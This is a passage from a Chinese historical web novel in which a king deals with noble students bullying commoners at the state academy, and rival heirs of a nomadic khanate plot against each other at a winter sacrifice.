傅殷想得很明白,国学生之间的龃龉矛盾对于大王来说其实只能算是稀松平常之事,即便发生也自有规章纪律去处置,大王担心的是世族出身的子弟拉拢寻常出身的学子私下结党、为世族网罗人才,而国学官员对此视而不见或是包庇徇私。若是如此,国学便是从根上开始腐烂了。 如此以来,规章制度制定得再好,执行之人烂了也是无济于事。 一路过来,对于江都国学要如何查、查到什么地步,傅殷心中其实已经有了一个大致的框架,但他为了避免有所遗漏便上门拜访范国相。 范国相听后捋须肯定道:“你想的很周到,用心去办便是。” 他看向傅殷的目光之中尽是满意之色。他年已老迈,这两年愈发有力不从心之感,可大王与江都还需要他辅助,眼下还不是他辞官退隐的时候。虽如此,他也需要为以后打算。他并不担心自己,不管是大王还是东宫、椒房几位主,他们都是念旧情之人,不会给他亏待。他担心的是他走后江都无人可供大王用,总要在离去之前培养几个得力的人给大王驱使。 傅殷就很好,他是平民子弟出身,勤奋上进,能力出众,最重要的是与世族没有瓜葛,是个可造之材,假以时日接下他的位子也未尝不可。 可以说范国相对傅殷是寄予厚望的,今日见傅殷前来向他虚心讨教,并未因为近来的春风得意而自得自满以至忘形,他心中很是欣慰。但有些事情,该提点的还是要多说几句。 春假刚过,新年的气味还未散去,范国相问了几句傅殷这年过得如何,最后又问起他的婚事,说道:“你年已及冠,如今仕途正顺,合该娶亲生子,想来你母亲最近也在为这事发愁吧,愁不知道挑哪一个做儿媳好。” 如今傅殷正是江都王跟前的红人,王廷新贵,年纪轻轻又未婚配,江都之中不知道有多少人家想把女儿嫁给他,就连卢氏这样的世族都动了心思。世族的名声太过响亮,数百年来多少男儿为了迎娶世族女而前赴后继,范国相是担心傅殷会禁不住世族诱惑真去娶了世族女,那样无异于是葬送自己。范国相是真心不希望傅殷这样一个拥有大好前程的后生因为一时糊涂而多年辛苦一朝尽毁。 “妻者,齐也。娶妻当娶贤,你母亲辛劳多年,也是时候该享清福了。”范国相一脸感慨道。 这自然是应当的,傅殷起初只以为范国相是关心他的婚事,但隐约感觉他的语气有些不太一样,对上他的眼睛,发现那笑有些深。 “你说,我们为人臣子之大幸是什么?”范国相忽然问道。 傅殷确定范国相是话中有话,面色变得端正,诚心拜伏道:“请相师赐教。” 范国相:“君明臣贤,贤臣常有而明主难寻。你我得遇明主,此为人臣之大幸,你我皆已幸矣。”- 作者有话说:更新了,求评论[可怜] 140-150 第141章 处置 此人生之大幸已然得到, 就该珍惜,否则一旦失去,悔之晚矣。 “相师教诲, 学生必不敢忘。”傅殷是聪明人,当即就明白了范国相提点他的深意,再次郑重拜伏谢道。同时范国相也是给他提了一个醒,最近关于他婚事的传闻闹得是有些大了,明明从边境回来之后他就已经让他阿娘暂时不要去相看、更不要去理会那些上门说亲的媒人了, 可如今这风声愈演愈烈都传到了范国相的耳朵里, 还令得范国相专门来提醒他。 这后面若是没有世族的手笔傅殷是断然不信的。真是有意思, 世族明明对他恨得牙痒痒,却还想要将女儿嫁给他从而拉拢他。 “你心中有数便好。”范国相说过一次便罢了, 却也是真心关切傅殷的婚事的,“你已老大, 婚事当有所决断。若是有心仪之人,脸皮薄不敢去提亲, 说与我听, 老夫豁出这张老脸上门去替你提亲。” 傅殷再次谢过, 只说自己还没有遇上。 范国相笑呵呵的,也没有多问,让傅殷再尝尝他的好茶。方才谈着事情没有心思品尝,现在闲下来正是时候。 …… 傅殷得了范国相的指点之后立即着手去查江都国学。当然,他一开始并没有表露出这个意思。大王将他召入宫中私下说起此事也是为了避免打草惊蛇,他更不能一开始就大张旗鼓的。好在他本身就是江都国学出来的,只说自己是故地重游,看望以往的讲课的夫子,国学也不会不允他回去。 可前阵子查抄贪腐的事情闹得太大, 许多案子又是经他手查办的,这会儿他要来江都国学,国学之人多多少少心里都有些打鼓,一连注意观察了一两日,发现他似乎真的只是腾达了之后的“衣锦还乡”,警惕之心也就慢慢松懈下来。 百里漾前脚还在想傅殷要多长时间才能够给个结果给他,五日后就收到了傅殷查江都国学的详细结果呈报。 首先是江都国学之中是否有学生仗势欺凌同窗的问题。确实有世族高门出身的国学生仪仗家世欺凌出身平平的学子,这些更多的是因为私人恩怨以及自身骄横跋扈就喜欢欺负人以显示自身的优越性,这种人属于品德败坏的类型。但也有以此为手段之一逼迫学子屈服于他们的,一些学子为了不被针对和欺负只能屈从。但这一套并非放在所有学子身上都适用,也有极个别是他们搞不定的,只能一边以利诱,一边强势以对,软硬兼施。 后者显然不是单单德行败坏只想欺负人的问题了,因为那些世族子弟利诱的对象皆是国学之中品学兼优的平民学子,他们优秀且有能力,从国学出去后必是要做官的,世族便想拉拢招揽他们。有些能成,有些则不成,世族子弟也有碰壁的时候。 “秦致方,这名字听着有些耳熟啊。”百里漾从手里捏着的奏报里抬起头,回想了一下,喃喃自语道。 “大王不记得了么,就是那日在典籍室里遇到的那名国学生。”在一旁的颜漪提醒了一句。 百里漾恍然大悟,“哦,想起来了,原来是他啊。” 他这么一说勾起了颜漪的一点好奇,不免问道:“奏报之中提到他了?” “是,他是这几年国学生中最优秀的学子。卢绽,也就是那个在学堂要赶我们出去的卢氏子一直想要拉拢他,但始终没有成。” 其实不只是在典籍室见到了秦致方本人,后面见祭酒等人时他们也提到了秦致方。毕竟对于国学来说,优秀学子就代表了国学的门面与成绩,祭酒等人自是会在百里漾面前多少都要提过一嘴的,甚至因为百里漾当时多问了一句“是不是在典籍室里的学子”,祭酒等人以为他感兴趣免不了又多说了一些。 “几番示好都拒绝了么?”颜漪也凑过来看奏报。 百里漾怕她看不清楚特意将奏报摊开,一面调整角度好让她能够看得更分明,一面说道:“他家境平平,比不上同龄的世族子弟开蒙早,更没有从年幼时就开始延请名师教导,起点比任何一个世族子弟都要来的低,可却考入了国学还一路将同龄乃至一些年长的国学生甩在身后,这份天资与勤勉可见不一般。” 这种人估计就是所谓的天才级学霸学神。 其实所有能够考入江都国学的普通出身学子都很不一般。因为起点低,天资足够的同时他们还需要付出比同龄的世族子弟十倍乃至百倍的努力才能够达到同等的水平线上。能够追上亦是殊为不易,更不论还要超过。 颜漪道:“看此人在国学每次考核中的成绩皆在甲上,想来可能国学日后又要出一个‘傅殷’了。” 傅殷在国学就读时的成绩也不是一般的优秀可以形容的。若是日后秦致方不行差踏错,说不定还能够刷新傅殷在江都国学创下的成绩。 平民出身,自身勤勉上进又不与世族粘连,倒是一个值得培养的对象。 如果他确实没有与世族有所勾连的话。 “大王要任用他么?” 百里漾摸了摸下巴,手指的肌肤被冒出来的胡茬子磨了下,“现在说这个还为时尚早了,怎么都要等他从国学结业之后再说。” 他手底下缺人是不假,但秦致方还是需要在考察一段时间的。这人别是世族或是谁给他下的套,总要从头到尾查过一遍的。 “大王打算如何处置国学中那些失职的官员?”奏报颜漪已经看完了,看向百里漾问道。 “国学之中自有规章制度,江都亦有律法,一切依律处置就是。”百里漾也不愁这事,但世族的心思不能不防。 说到底还是世族的根基过于深厚,要彻底消除他们的影响几乎是不可能的。江都国学中上至祭酒等官员,下至讲课夫子都或多或少与世族沾亲带故的,有些更是直接出身世族,遇上世族子弟欺凌同窗,帮自己人的是多数,视而不见是基本操作,若是有苦主来告直接选择包庇徇私,或是帮忙掩盖罪行,更有甚者亲自下场明里暗里地打压非世族的学子,使得受了欺凌的学子敢怒不敢言。 这种情况存在,但就大体而言是少数,还是藏着掖着不敢做得太明显的。主要还是因为最上头的祭酒是一个管事的,本身亦算是正直公正之人,事情真要是闹大了让祭酒知道了,他不可能不进行处理的。也正是因为上面的祭酒没有歪掉,多少是能够镇着点人让他们不至于太过猖狂。 “但不管怎么说,国学里出了这样的事情,祭酒作为一学之长也难辞其咎,御下不严、督管不力的申饬是少不了的。”百里漾的手指搭在太阳穴上轻点了几下,很快做出了决定,“还是让他留任原职,将功补过。这短时间内也还没有谁比他更适合祭酒一职的了。” 末了,他还不忘询问颜漪的意见,“七娘觉得这样的处置如何,可有不妥之处?” “并无不妥之处。”颜漪想了一下,这样的处置就很好了,此番更多是敲打,不易太过。 百里漾眉眼舒展,两眼弯弯,“稍后我叫国相照此处置下去。” 事情处理完了,百里漾将奏报搁到一边的书案上,看着初禾捧着一个小筐进殿来叫给颜漪,凑过去看见一些针线和一些红啊蓝的各色鲜艳靓丽的小布料,底下还有剪子之类的东西,不由好奇拨弄了两下,问道:“这是用来做什么?” 做衣服么,还是香囊之类的小饰品,是要给他做的么? “表嫂有了身子之后便想着给孩子准备些小衣服、小鞋子之类的衣物,我想着也做两件聊表一下心意。”颜漪解释道。 原来不是给他做的啊。 百里漾心里有些小小的失望,不过想到之前王妃已经给他做过衣服了,还刚上身没有多久,而且这是给未来的小侄女或是小侄女做的,他还不至于跟一个没出世的宝宝吃醋,所以那点失望很快就没有了。 他忽然来了很大的兴趣,也凑到旁边研究起来,“这个颜色用来做虎头帽应该很合适。这个料子质地柔软做口水兜应该很不错。表兄小时候可爱流口水了,听舅母说一天下来少说身上得揣七八块口水兜跟着,也不知道孩子生下来会不会随了他。” 说着,百里漾不免开始忧愁起来。细细回想起来,崔栋小时候的坏毛病还是挺多的,男孩子还好,要是女孩子也随了他,都不知道该有多愁人。但很快他也看开了,孩子以后出生真要随了崔栋,那也是崔栋夫妇俩该头疼的事情。 颜漪和初禾在旁边听着百里漾抖落崔栋的黑历史出来好生无奈,恐怕日后再见到崔栋得有好一段时间无法直视他了。 百里漾犹有不觉自己说了什么,表达了一点自己的看法之后就坐在旁边的墩子上看颜漪弄针线活,还时不时的帮把手。 初禾看着大王抢了本属于她的活计也不好说什么,但看着大王不甚灵活,甚至是笨手笨脚地帮王妃穿针引线的一幕,还是挺想笑的。 当大衍这边还沉浸在春日的祥和悠然之中,跨过大衍北部边境的更北方,那里则是沉浸在一片寒冬腊月、冰天雪地的肃杀之中。 离渊的冬日是很难熬的,不管是对人还是对他们畜养的牛羊马来说- 作者有话说:更新啦,求评论[空碗] 第142章 祭祀之日 掀开帐篷往外一看, 外面皆是白茫茫的一片,草木皆冻死,山与草原的分界都变得无比模糊。不刮风的时候都冻手冻脚了, 风刮过来就跟刀子割在脸上似的。为了防止牲畜冻死,棚舍用木板封住,地上也铺上厚厚的干草,寒冷的夜里牛羊圈里的牛羊也都蜷缩在角落里相互取暖以抵御寒冷。饶是如此,依旧有不少的牛羊马儿冻死在这个冬日里。 这对于离渊的牧民来说无疑是一个难以接受的损失。 因为冬季过于严寒, 离渊人在冬日期间不得不减少大量的活动, 但有些活动却是不得不进行的, 比如祭天。离渊人信仰永生不灭的天神,是天神的护佑让他们能够在这片土地上长久的生活下去。每年正月或是五月, 大可汗都会召集各部族的统领会于王庭举行祭祀。 可这几年乞罗扎汗的身子骨愈发不好,这两年更是病重, 去年更是直接卧病在床,已经无力主持正月或是五月的祭祀了。在这种情况下, 通常都是乞罗扎汗指定几个儿子或是离渊大部族的统领共同主持。 今年亦是如此, 由乞罗扎汗下令召集各部统领会于王庭祭天。似这样的盛事, 除非是病重到起不了身真的来不了的,离渊有名有姓的贵族都要来到王庭参与祭祀。今年的祭祀与往年也没有多大不同,由三大部族的统领斩杀白马祭天。往年负责斩杀之人是乞罗扎汗,但他现在已经握不稳刀了,继承汗王之位的人选未选出,只能由三大部族的统领代劳了。 祭祀天神,诵念祭文。祭文的内容主要有两个,一是祈求天神继续护佑族群繁衍生息壮大,二是请求天神保佑乞罗扎汗的病体能够痊愈。内容很简单, 谁都能够听得懂,但也谁都知道,乞罗扎汗好不了了,甚至能不能够活过这个春季都还很难说。 这也意味着汗位之争即将进入最激烈最残酷的阶段,那意味着会死很多人,有人踩着满地的鲜血和人头上位,有人则是会化入那满地的鲜血和人头之中。有人敏感地嗅到了危险的气息,也有人因为最终来临的决战而浑身的血液都在躁动。 但在这最终来临之前,一切看起来都很平静。 祭祀之后则是宴会,离渊所有的贵族齐聚,烹养宰牛,大口吃肉,喝着马奶酒,大声说笑,联络感情。气氛看似热闹,实则隐隐弥漫着硝烟味,有些更是一言不合就呛了起来,旁人劝解不成,还要朝着剑拔弩张的趋势发展了。 这种情况也不是今年才有的,离渊人普遍彪悍好武,一些性情暴烈的更是好勇斗狠,一言不合就拔刀相向的不在少数。更何况离渊的部族之间多多少少都存在过往仇怨,平日里不怎么凑在一起还好说,如今见着面了,还是脸对脸,一个个都跟火药桶似的,稍有一点不对头就能炸起来。 可往年是炸不起来的,因为乞罗扎汗坐在上位看着,即便部族统领或是贵族们心里再有怨恨也不可能不给大可汗面子,最后往往是大事化小小事化了。 离渊国不比位于其南边的历代王朝,说是国不如说是部落连接起来的联盟,所有的部落共同拥立势力最为强大的部落主成为大可汗,从而统领离渊所有的部落。而离渊现有的部落则是以前部落与部落之间相互吞并形成的,大可汗为各部落划分了势力范围,各部落据有各自的牧场进行放牧,避免争端。 可要生存就避免不了争端,资源在任何地方任何时候都是有限的,离渊的水土较南边王朝的恶劣,能够种植的粮食和种植粮食的土地都不多,离渊人更多的是放牧,牛羊马都要吃牧草,水草肥美的牧草就成为了各部落争夺的主要目标。 大可汗的存在更多是用强大的武力使得其余部落的人臣服于现行的这一套秩序,让各部落都在划定的区域内进行放牧生活,避免因为争夺资源产生争端致使内部的消耗,从而削减离渊的力量。在这一套制度下,离渊因为减少了内部争端消耗而集中力量向南拓展,争夺外部的资源,从而威胁到南边王朝的安全。 这套围绕“大可汗”建立的秩序确实有效,但这有一个前提,那就是大可汗的力量强大到足够震慑其余的部族,现有的一切才能正常平稳运行下去。 可现在大可汗出了问题,大可汗背后的力量依旧强大,但大可汗不行了。就像一个狮群的狮王终究会老去、病痛缠身,即是他依旧积威甚重,可其余的狮子都知道他要死了,大家都在盯着他狮王的宝座,随时都有可能发起冲击。 这时候已经卧病在床的乞罗扎汗也一样,他已经镇不住下面已经长成猛虎的儿子和侄子了。各部落亦是如此,要么忙着投注下场以便将来新可汗上位获得更多的牧场和牛羊,要么是默默缩小存在感以求明哲保身的,也有观望不做任何表态的。 这宴会上的气氛看似热闹,彼此之间说话有来有往的,实际上都分出几分心神去关注三个位子上的人。 正月祭天,乞罗扎汗的六子海克罗、九子都力以及上任大可汗的长孙阿希烈都到了,这三人是如今汗王之位的最后的争夺者,谁都知道下任的大可汗会从他们三个之中角逐而出。 但在此时此刻,谁也不会知道谁会是最后的胜者。 “阿希烈,听说你上个月猎雪狼被头狼咬了差点废掉一条胳膊。你也不小心着些,我们离渊的男人被废了胳膊那还能叫做男人么?你若是出了事,我那侄子侄女还有那些漂亮的嫂子们可该怎么办哦。” 说话的人是都力,满头编结的小辫子,半张脸黑硬的胡须在下巴下面编成一个小辫子,身形魁梧,一脸狞相,张目阔脸,看着很不好惹,此时大马金刀地坐着,一手用匕首切肉,切好了直接抓起来放进嘴中大口嚼吃,油汁溢出来沾得满嘴油光。 在旁边坐着的是海克罗,同样是魁梧的壮汉,却比都力要细长些,他的长相与都力有五六分的相像,毕竟是同一个爹,各自的妈还都是亲姐妹,长得像很正常。不过,海克罗跟黑熊一样的都力不太一样,头发梳得整整齐齐,也编成小辫,只在唇周一圈留着短须,看起来比都力更加清爽整洁些。此刻他歪坐在席上,嘴角噙着一丝看戏的笑看着对面之人。 而坐在两兄弟对面之人正是阿希烈。怎么说呢,阿希烈的画风与那两个浑身散发着粗野凶狠气息的兄弟俩就很不一样。他安安静静地坐在那里吃肉、喝马奶酒,一举一动间都透着沉稳从容,整个人给人的感觉也很沉静,像是阖目休息的猛虎,从左额穿眉横贯到鼻梁的一道醒目的刀疤给他添了几分狰狞和可怖。 都力一说话,瞬间将全场的目光都集中在他们几个身上,原本喧闹的宴会突然像是被掐住鸭脖子发不了声般陷入极度的安静之中。几乎所有人下意识地降低了自己发出的声音量,看着这三人之间展开的斗争角力。 “锵”一声,匕首撞击到银盘发出声音震得诸人的心中一惊。 众人都将目光看向阿希烈,只见他面对都力的挑衅之语看不出有丝毫动怒的迹象,扔了切肉的匕首后仍是不紧不慢的,细嚼慢咽完嘴里的烤牛肉,眼皮子都不掀一下,不咸不淡道:“与其关心我,你们不如多关心关心自己。南边有句话怎么说来着?哦,是‘人贵有自知之明’,有多大胃吃多少饭,否则只会把自己撑死。” “砰!”最沉不住气的都力猛一拍桌子,桌面上的食盘酒具都震得移了位,酒也撒了,一指阿希烈,“你这话是什么意思?” “没什么意思。正如你关心我的伤势,我也关心关心你们罢了。”阿希烈冷淡道。 “你!”都力还想发作,却被海克罗按住了。 海克罗笑得一脸和善,“你我皆兄弟,相互关心是应当的。” 阿希烈定定看了他们好一会儿才移开目光,继续切肉喝酒了。海克罗和都力皆看了阿希烈好几息时间,对视一眼之后各自坐回了自己的位子。 宴会继续,仿佛这只是一个小插曲而已。 但,真的如此么? 祭祀只有一日,但宴会结束之后夜色已经深沉了。前来的部落贵族们往往都会选择在第二日或之后再行离开。毕竟这时候是离渊各部落一年之中少有的聚集日,也是各部落贵族们来得最全的一次,许多人也想趁着这个机会联络感情、商量子女联姻或是谈判分割利益等。在没有拿到自己想要的之前,哪会走那么快。 宴会毕,许多贵族都喝得醉醺醺的,被左右搀扶着回到各自的帐篷去。都力好饮酒,一整个宴会下来起码喝了几坛子酒,此时站都站不起来,海克罗要扶他,被他一手撇到旁边去,嘴里还嘟囔着,“不,我没醉,我还要喝。” 海克罗也喝了酒,两颊浮红,走路步子也有点不稳,叫左右侍从将都力架上要回去,临走之时看到阿希烈,脚步一顿,目光在阿希烈的脸上停留了一瞬后才重新抬脚离开。 “渠帅,要回大帐么?”随身护卫问道。 阿希烈没有回答,他走出宴会的大帐,抬头看了一眼头顶广阔无际的草原夜空。因为是冬日,天空时常被厚厚的云层遮盖,今夜也是如此,几乎看不到半点星光。 “今夜说不定会是一个好天气。走吧,我去看看我们的大可汗。”- 作者有话说:更新啦,求评论[抱拳] 第143章 离渊之变 乞罗扎汗所在的王帐是整个离渊王庭的中心, 代表着离渊最顶峰的权力,周围有两千王庭铁骑随行护卫,想要攻破几乎是不可能的事情。然而这往日威严凛然的权力中心却在王庭一年之中最热闹的日子里透着一股森然的冷寂。 “来者止步。” 王帐外的守卫持刀拦住了阿希烈的去路, 却在看清阿希烈的脸后一惊,原本冷硬的声音软下来,硬着头皮问道:“渠帅来此可有要事?” “阿希烈求见大可汗。”阿希烈没有回答,目光径直看向了王帐,冷硬的脸上刀疤被旁边火把上跃动的火光照着, 显出一股令人望而生畏的威严来。 “请渠帅稍等, 我等入帐去禀报。” 守卫入内禀报, 很快就出来回报并让出了路,“渠帅, 大可汗请您进去。” 阿希烈掀开帘帐大步跨入王帐,不多时就见到了病榻之上的乞罗扎汗。王帐之内因为人少而显得极为空旷, 除了乞罗扎汗外,只有零星几个伺候的仆从和婢女。 “你来了。”感受到头顶罩下来一大片的阴影, 闭眼阖眸的乞罗扎汗睁开了眼睛, 看向站在他床榻面前的阿希烈。 他睁开眼睛的速度很是缓慢, 眼皮似乎沉重到他需要花费很多的力气去拉起来,说话也很吃力,像老旧的风箱,声音艰涩仿若从嗓子眼里费力挤出来似的。 “我来了。”阿希烈居高临下地看着眼前这个干瘦的老头,感觉自己看到的是一根被吸干了水分的枯枝,他脆弱到自己一只手就能轻而易举地捏死他。 阿希烈有一瞬间的恍惚。上一次见乞罗扎汗是什么时候?好像是去年五月,那时的乞罗扎汗还没有这么干这么瘦,王帐也没有如今的冷寂。 那时候也是祭祀之日,乞罗扎汗身边热热闹闹的围的都是人。大可汗的妃妾, 年轻的年老的,还有海克罗和都力这些儿子、女儿女婿以及部族心腹都在,所有人都对乞罗扎汗的病情面露担忧,海克罗与都力这些可汗之子更是向天神祈求愿意用自己的寿命换取父汗的身体康健。 这才过了多久,一年不到的时间,王帐就变得这么冷清空荡了。 乞罗扎汗:“没想到这个时候了还能有你来看我。” 他看向阿希烈的目光中满是复杂,一方面他看到阿希烈就仿佛看到了年轻时候的自己,一方面却可惜阿希烈偏偏不是自己的子嗣。越是觉得想就越是觉得可惜,他生的那些儿子没一个比得上阿希烈的。如果阿希烈是他的儿子,他根本不需要为难到现在,下一任汗王人选早就有了。 “我也没有想到这个时候了我还会想着过来看你。”阿希烈的目光很平淡,他看向这个呗病痛折磨了几年即将死去的大可汗,在这副干瘦枯槁的身躯上再也找不到曾经令他畏惧和忌惮的那个身影。 旧王将死,新王当立。 所有人都在等,等旧王死去。 一个病重到连站都站不起来的大可汗是给不了人任何期待的,即便有,那也是对他死讯的期盼。离渊人人向往强大,离渊国永远需要一个强大的大可汗带领部族走向强盛。 这一点,阿希烈知道,乞罗扎汗也知道。不同的是,曾经乞罗扎汗是等待旧王死去的新王,如今他成为了被等待死去的旧王。 而新王还不知道会是谁。 “大可汗,该用药了。”正当两人说话间,一名婢女高捧着盛着汤药的托盘跪到了跟前。细看她的身体有些颤抖,却在竭力保持平稳,不能让汤药洒了。 如今谁不知道上任大可汗之孙阿希烈渠帅的势头最大最猛,就连大可汗最厉害的两位王子都不得不联手起来才能抵抗住他的势力锋芒。偏偏阿希烈渠帅与大可汗之间有旧仇怨,若是他在这里突然对大可汗动手,谁能不害怕。 阿希烈看了一眼托盘上的汤药,又看了一眼病榻上的乞罗扎汗,转头朝婢女道:“把药给我吧。” 婢女闻言颤抖得更厉害了,却不敢真的将汤药递给阿希烈,直到乞罗扎汗给她一个眼神示意,她才跪着转向阿希烈,奉上汤药。左右仆从上前将乞罗扎汗扶起在他背后垫了一个软枕使他能够半靠在床榻上,阿希烈则坐着旁边给他喂汤药。 一个喂,一个喝,乍看之下还有点温情脉脉的感觉。 然而一切都只是假象而已,像是平静的水面之下正在不断激涌出爆裂的岩浆。 “你若是我的儿子该有多好。你母亲很美,若是我与她生出的你……”汤药喝到一半,乞罗扎汗看着阿希烈近在咫尺的脸,叹息着说道,但话还没有说完就被粗暴地打断。 手上的汤药碗直接被大力捏碎,剩下的汤药洒了阿希烈一身,他并不在意这些,目光犹如实质仿佛要将乞罗扎汗钉死在床榻上,开口无比冰冷,一语道破乞罗扎汗的真实意图,“看来你是真的很想死。” 随后阿希烈却大笑起来,面上和语气里都充满了嘲讽与怜悯,“像个废人一样躺在床上的滋味不好受吧。看看你这个样子,哪里像是离渊的大可汗,我那十岁的儿子都能一只手捏死你。你想激怒我,让我杀了你,好让自己能够解脱,顺便再帮一帮海克罗和都力,对么?” 所有人都知道乞罗扎汗活不久了,大家都在等他的死。乞罗扎汗会死,却是不能被杀死的,更不能死在阿希烈的手里。否则以当下的局势,这一点无疑会成为海克罗和都力攻讦阿希烈的最佳理由,甚至可以让一些本就摇摆不定或是中立的部族统领倒戈向他们。因此阿希烈才会说乞罗扎汗是在帮海克罗和都力。 “我只恨当年没有杀了你。”到了这份上,乞罗扎汗也没有装下去的必要了。他被阿希烈眼中的怜悯深深地刺痛了。他看着人高马大、身强力壮的阿希烈,想到了当年自己曾看到的小小一只的婴孩,那时的他怎么也想不到那个婴孩会在今日给了他如此大的威胁,自己如今的处境不就是当年上任大可汗曾经经历过的。 上任大可汗那么多的儿子、孙子,死的,残的,废的,偏偏出了一个阿希烈。他生的那些儿子一个个也都是废物,没一个能赢得过阿希烈的。这个阿希烈也是邪门了,上一次那么好的机会,偏偏让他逃了,终究是放虎归山。 “我没死,是天神都在庇佑我!”阿希烈注意到乞罗扎汗的目光落在他脸上的刀疤上,隐隐的,上面似乎传来一股发热发痒的痛意。用手摸了摸,感受着那崎岖的触感,他也忘不了当时那一刀的凶险。 六年前,他从王庭返程的路上遇到伏击,激战时遭到身边亲信的背刺偷袭。这道刀疤就是当时留下来的,若非他及时反应险之又险地避开,那一刀留下的就不是这道刀疤而是他的命了。 那次伏击自是乞罗扎汗的手笔,他身边的那名亲信也是乞罗扎汗早早安插在他身边的。那之后,他只能远离王庭蛰伏,以待来日之机。 情绪的激烈起伏让乞罗扎汗抑制不住地剧烈咳嗽,但是他连咳嗽的力气都不太有,只能倒伏在床榻上“嗬嗬”地喘着粗气,眼睛却死死地盯着阿希烈。 阿希烈站起身,看着苟延残喘的乞罗扎汗,眼里已是一片平静如水,“你还不会死,你会一直活着,直到我成为可汗的那一天。” 临走之前,阿希烈弯腰附耳在乞罗扎汗耳边还说了一句,“或许都用不了多久,说不定天亮之前你就能见到了。这一切还多亏了海克罗和都力,至少从这个角度来看,他们也算是孝子了。” “你,你……”乞罗扎汗从这话里听出了暗含的深意,眼里出现了惊恐,但他已经说不出话来了,周围的仆从婢女连忙拥上将他扶起放好在床榻上。他想叫住阿希烈,可是只能眼睁睁地看着那道身影大步离开。 如今的离渊王庭位于一片连绵的山脉之下,背靠山,面向辽阔的草原,易受难攻。一顶顶大帐就分布在这片水草肥美的草原之上。若是有人从天穹上向下俯视就可以看到一顶顶大帐如同白蘑菇似的散落,看似杂乱其实一顶顶小帐篷各自围绕着十几顶的大帐蓬错乱分布,这十几顶的大帐蓬又围绕着大可汗王帐,形成拱卫之势。 那些被小帐篷拱卫的大帐篷都是此次前来参与祭天仪式离渊上层贵族所在,也包括了阿希烈、海克罗和都力这些人。小帐篷里住的都是上层贵族与部落统领的心腹与护卫,周围更是有军队日夜不间断地巡逻守卫。 离渊男儿人人尚武,经常一言不合抽刀子就干,而离渊从以前的草原各个部落混战走到现在也是经历了大大小小无数的战争吞并征伐形成的,认真论起来随便挑出来两个部落之间都有陈年旧怨。且这几年因为乞罗扎汗老迈病重震慑力不足,底下的子侄们为了争位增加胜算各种乱来,不是你拉拢这个,拉拢不成就打。被打的自然要寻求支援,又拉其他人或部族下水。 几年下来,离渊内部的摩擦不断,彼此之间火药味都挺重。这见了面虽然面上笑呵呵的,谁知道对方背地里是不是想找机会给自己一刀子。况且这次祭天可是凑齐了阿希烈、海克罗和都力三个人的,这时机怎么看怎么微妙,不多带着点人都不安心。 夜色深沉,宴会毕诸人散去,各归帐中。 阿希烈从王帐走出后径直回了自己的大帐。黑夜之中,明里暗里一直有眼睛追随着他的身影,直到亲眼看着他进去大帐里再也没有出来,部分眼睛才离开前去禀报。 “很好,给我盯紧了。通知人马准备,时间一到就行动。”一处大帐内,海克罗收到回禀后激动地以拳击掌,吩咐道。观他双目炯炯有神,哪里还有在阿希烈面前稍显醉态的模样。 旁边的都力亦是如此,他虽满脸通红,但双目清明,摩拳擦掌间显出暴戾之态,桀桀笑露出森白尖利的牙齿,“今夜我要亲手把阿希烈的头剁下来,用他的头骨做成酒器来用。” 随着时间一点一点流逝,夜色愈发沉下去,冷气下降,天空中开始飘雪,不知道从远方何处传来了草原狼的嚎叫声,一声又一声,逐渐在整个王庭荡开又消散。 …… “痛快!再来!” 王宫校场之中,身着窄袖绑腿骑服的百里漾与崔栋正在过招。这次二人均使的是三尺余长的刀,打得是有来有回的。他们用的刀是军中常用的制式,不似大刀厚重,刀身偏窄,弯曲的弧度沿着刀柄向刀尖缓缓加深,在刀尖形成一个漂亮的弯弧,劈砍刺皆可,在腰间一挎,随手抽出来就可以迎敌。 两人将近打了半个时辰,不说输赢,出了一身的汗,热气直往脸上涌,眼眶周围都能感觉到热气了,各自取了干布擦汗。 “那些离渊人真是够贼的,见势不好一拍马屁股跑得比鬼还快。”崔栋喝了一大口水后,歇了口气,忍不住骂道。 “我们缺马,两脚的怎么跑得过四条腿的。”百里漾不由唉声道。 他们之前在讨论与离渊对战的问题,说来说去其实最大的问题就是离渊有马有骑兵,而大衍这边缺马,绝大部分士兵以陆战兵为主。离渊骑兵大多数情况下都是轻骑快马越过边境线过来劫掠,见到闻讯赶来的大衍军队,打得过就打,再抢一波,打不过就跑。且离渊人更熟悉草原地形,大衍这边不只是速度难以追上,就是追都不知道往哪里追。 以前也不是没有过先例,追着追着一大堆人马就迷失在茫茫大草原了,只是单纯迷路还算好,最后好歹还能回来一部分人。最惨的是不认路,缺水少粮还要被离渊伏击,全军覆没。这也是大衍即便经历了三十多年的休养生息,在兵强马壮更盛当年的情况下也不敢轻易深入草原追击的原因,只能在边境屯兵防御。 崔栋也叹,“这马确实是一个棘手的大问题。” 他爹是大将军崔预,他又是独子,崔大将军在培养这个儿子的同时自然不会只教他武艺以及排兵布阵这些当将军必备的技能,将军可以只会打仗,但若是要站到朝堂上却绝不能只会打仗。离渊如今是大衍北方最大的威胁,大衍与离渊作战的优缺点也是要心中有数的。大衍如今对战离渊最大的缺点就是骑兵不足,骑兵可以训练,但前提也得有马啊。 大衍这时候面临的情况与百里漾前世世界某段历史时期的中原王朝面临的差不多,同样是缺马,同样是土地环境不适合大规模养马,自然也就建不了强大的骑兵队伍。而骑兵的优势在于机动性强,来得快去得也快,别说两条腿的人追不上,就是弓手射箭或者架弩射击也来不及啊。人家骑兵马鞭一抽,四肢马蹄子狂奔,还没有等箭到就直接跑出射程范围了。 先不提有没有优良马种的问题,马的培育就很难。马是要吃草的,而大衍境内就没有多少合适的草场去大批的养马。而且马的繁殖周期很长,一匹马从受孕到生下小马驹再到将小马驹培养成为合格的战马至少需要三年的时间,期间若是遇上生病等问题,这匹马都活不到能够拉上战场的机会。 即便刨除了以上的问题,还有极为重要的经济问题。马是一种很精贵的玩意,供养一匹战马需要花费的钱财是一个普通人全年干活收入的数倍,养一匹战马的成本比养几个骑兵还要高昂。若要形成能够对离渊骑兵进行大举进攻的骑兵规模,那所需要战马的数量,供养这些数量战马以及配套的骑兵、用具等所需要耗费的钱财,想想都可怕。 以大衍目前的财政状况,还供不起这么多战马,养不了这么多的骑兵。也是因此,若是将来离渊新汗王上位为了确立威信而大举兴兵挥师南下,这对于休养生息才三十多年的大衍来说也是一个很大的麻烦。 几乎没有人会喜欢战争,因为战争意味着死亡,一个士兵若是在战场上受伤致残或是死亡,那么等于他背后的家庭永久地失去了这个重要劳动力,如果这个士兵还是家庭之中唯一劳动力的话,那么他的死亡对于这个家庭来说就是一个毁灭性的灾难,即便官府后续有发放死亡抚恤金,可剩下来的人余生是那么的漫长,这也只是杯水车薪。 